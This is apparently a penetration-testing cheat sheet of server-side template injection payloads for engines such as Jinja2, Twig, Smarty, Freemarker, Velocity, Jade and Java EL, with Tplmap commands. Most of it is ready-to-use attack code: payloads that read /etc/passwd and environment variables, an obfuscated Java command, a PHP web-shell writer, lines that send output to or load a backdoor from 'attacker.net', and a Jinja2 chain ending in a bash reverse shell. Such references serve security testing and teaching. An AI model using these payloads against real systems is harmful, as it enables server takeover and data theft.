

Templates Injections

Template injection allows an attacker to include template code into an existant (or not) template.

Recommended tool: Tplmap (<https://github.com/epinna/tplmap>) e.g:

```
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment
&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&
link" --level 5 -e jade
```

Ruby

Basic injection

```
> <%= 7 * 7 %>
```

Retrieve /etc/passwd

```
> <%= File.open('/etc/passwd').read %>
```

Java

Java - Basic injection

```
> ${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../..../index.htm").getContent()}
```

Java - Retrieve the system's environment variables

```
> ${T(java.lang.System).getenv()}
```

Java - Retrieve /etc/passwd

```
[-] ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))))).getInputStream())}
```

Twig

Twig - Basic injection

```
[-] {{7*7}}
|  {{7*'7'}} would result in 49
```

Twig - Template format

```
[-] $output = $twig > render (
    'Dear' . $_GET['custom_greeting'],
    array("first_name" => $user.first_name)
);

$output = $twig > render (
    "Dear {{first_name}}",
    array("first_name" => $user.first_name)
);
```

Twig - Code execution

```
[-] {{self}}
|  {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
|  {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
```

Smarty

```
[-] {php}echo `id`;{/php}
|  {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']);?>",self::clearConfig())}
```

Freemarker

Default functionality.

```
<#assign
  ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
```

Jade / Codepen

```
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
```

Velocity

```
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
```

Mako

```
<%
  import os
  x=os.popen('id').read()
%>
${x}
```

Jinja2

Official website (<http://jinja.pocoo.org/>)

Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.

Jinja 2 - Basic injection

```
{{4*4}}[[5*5]]
  {{7*'7'}} would result in 7777777
```

Jinja2 is used by Python Web Frameworks such as Django or Flask. The above injections have

been tested on Flask application.

Jinja2 - Template format

```
> {% extends "layout.html" %}
  {% block body %}
    <ul>
      {% for user in users %}
        <li><a href="{{ user.url }}">{{ user.username }}</a></li>
      {% endfor %}
    </ul>
  {% endblock %}
```

Jinja2 - Dump all used classes

```
> {{ '.__class__.__mro__[2].__subclasses__()' }}
```

Jinja2 - Dump all config variables

```
> {% for key, value in config.iteritems() %}
  <dt>{{ key|e }}</dt>
  <dd>{{ value|e }}</dd>
{% endfor %}
```

Jinja2 - Read remote file

```
> # '.__class__.__mro__[2].__subclasses__()[40] = File class
  {{ '.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
```

Jinja2 - Write into remote file

```
> {{ '.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
```

Jinja2 - Remote Code Execution via reverse shell

Listen for connexion

```
> nv -lnvp 8000
```

Inject this template

```
> {{ '.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} # evil config
  {{ config.from_pyfile('/tmp/evilconfig.cfg') }} # load the evil config
  {{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1', shell=True) }} # connect to evil host
```

AngularJS

AngularJS - Basic injection

```
$eval('1+1')  
{{1+1}}
```

Thanks to

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